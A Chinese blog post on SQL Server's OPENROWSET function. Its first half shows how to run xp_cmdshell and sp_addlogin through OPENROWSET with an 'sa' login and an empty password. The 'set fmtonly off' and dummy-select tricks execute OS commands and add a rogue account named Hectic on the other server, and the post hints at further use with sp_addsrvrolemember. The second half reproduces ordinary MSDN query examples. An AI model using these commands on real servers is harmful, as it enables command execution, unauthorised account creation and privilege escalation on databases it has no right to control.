openrowset 的用法

上一篇 / 下一篇  2010-03-15 08:53:51 / 个人分类:SQLSERVER

利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下: 

  select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 

  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。 

  那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的! 

  select * from openrowset('sqloledb','server';'sa';'','set fmtonly off 

  exec master.dbo.xp_cmdshel l ''dir c:\''') 

  必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。 

  那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作: 

  select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' 

  exec master.dbo.sp_addlogin Hectic') 

    这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。 

示例
A. 将OPENROWSET与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用

下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问pubs数据库中的authors表,该数据库在一个名为seattle1的远程服务器上。从datasourceuser_idpassword中初始化提供程序,并且使用 SELECT 语句定义返回的行集。

USE pubs
GO
SELECT a.*
FROMOPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',
   'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a
GO
B. 将OPENROWSET与对象及用于 ODBC 的 OLE DB 提供程序一起使用

下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问pubs数据库中的authors表,该数据库在一个名为seattle1的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的provider_string进行初始化,定义返回的行集时使用catalog.schema.object语法。

USE pubs
GO
SELECT a.*
FROMOPENROWSET('MSDASQL',
   'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',
   pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GO
C. 使用用于 Jet 的 Microsoft OLE DB 提供程序

下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft AccessNorthwind数据库中的orders表。

说明  下面的示例假定已经安装了 Access。

USE pubs
GO
SELECT a.*
FROMOPENROWSET('Microsoft.Jet.OLEDB.4.0', 
   'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders) 
   AS a
GO
D. 使用OPENROWSET和 INNER JOIN 中的另一个表

下面的示例从本地 SQL ServerNorthwind数据库的customers表中,以及存储在相同计算机上 AccessNorthwind数据库的orders表中选择所有数据

说明  下面的示例假定已经安装了 Access。

USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOINOPENROWSET('Microsoft.Jet.OLEDB.4.0', 
   'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders) 
   AS o
   ON c.CustomerID = o.CustomerID 
GO

TAG:

 

评分:0

我来说两句

Open Toolbar